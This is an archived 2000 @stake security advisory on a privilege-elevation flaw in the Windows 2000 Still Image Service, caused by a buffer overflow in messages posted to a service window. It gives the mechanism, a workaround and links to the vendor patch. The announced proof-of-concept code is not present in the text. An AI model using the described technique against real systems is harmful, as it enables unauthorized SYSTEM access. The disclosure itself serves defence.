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@stake Advisory: Windows Still Image Privilege Elevation (A090700 -1)
From: "@stake Advisories" <advisories () ATSTAKE COM>
Date: Thu, 7 Sep 2000 09:48:15 -0400

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                             @stake Inc.
                           www.atstake.com

                          Security Advisory


Advisory Name: Windows Still Image Privilege Elevation (A090700-1)
 Release Date: 09/07/2000
  Application: Still Image Service
     Platform: Windows 2000
     Severity: A local user can elevate privileges to SYSTEM.
       Author: DilDog [dildog () atstake com]
Vendor Status: Patch Available
          Web: www.atstake.com/research/advisories/2000/a090700-1.txt


Executive Summary:

        The Still Image Service contains programming errors that
uncover a class of attacks on services. This vulnerability allows
unauthorized local privilege elevation.


Overview:
        
        The Still Image Service that comes with Windows 2000 is
vulnerable to a particular class of attack that stems from the Windows
GDI's poor notion of GDI object permissions. In this particular instance,
a service creates a window on the logged-on user's desktop that responds
to a number of WM_USER messages via PostMessage(). The window procedure
resides in the service process, and can hence be controlled to some
extent by the logged-on user. There exists a buffer overflow condition in
one of the WM_USER messages.    


Detailed Description:

        Way back when, the GDI in Windows NT 3.5 was not yet placed in
the kernel, and no one worried about permissions on GDI objects. When the
GDI was moved into the kernel, a number of system objects were created to
support permissions on GDI objects, such as window stations and desktops.
One particular case where better permissions on GDI objects could be used
is on windows. The window object supports several operations, notably
'PostMessage', 'SendMessage', and others. GDI window handles are not
process specific, and they can easily be obtained for any window created
on the logged-on user's desktop via 'FindWindow'.

        Once a handle to a window is obtained, two operations are of
interest. 'SendMessage' calls the window procedure associated with the
window directly (in most cases note: that WM_COPYDATA is an exception to
this), and hence it can only be called by processes that actually have
the window procedure mapped in their process space. The 'PostMessage'
function pushes the message into the window procedure's message queue for
processing at a later point. This allows cross-process communication with
window messages. Even to processes of higher privilege level.

        Because no distinction is made between which messages can
'posted' versus which can be 'sent', for windows messages above 'WM_USER',
one can never define a windows message that contains a pointer, regardless
of how it is intended to be handled.

        This vulnerability exists in the Windows Still Image Service, but
the problem is more universal, and may affect any or all other services
that create windows on the logged-on user's desktop (visible, or
invisible).

        The proof-of-concept code below demonstrates the vulnerability.

Temporary Solution:
        
        Disable the Still Image Service entirely. Normally, the Still Image
Service is not running, but if one runs 'stimon.exe' as an administrator,
or attempts to install or access a local or network scanner, digital
camera, or other still image device, the service will install itself in
'Automatic' mode and be present every time the system boots thereafter.

Vendor Response:

Microsoft has developed a patch to solve this problem:

  http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24200>

They have issued a security bulletin describing the issue:

  http://www.microsoft.com/technet/security/bulletin/MS00-065.asp



Proof-of-Concept Code:
        

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Content-Description: STISVC Proof Of Concept Code
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- --=====================--


For more advisories: http://www.atstake.com/research/index.html
PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.


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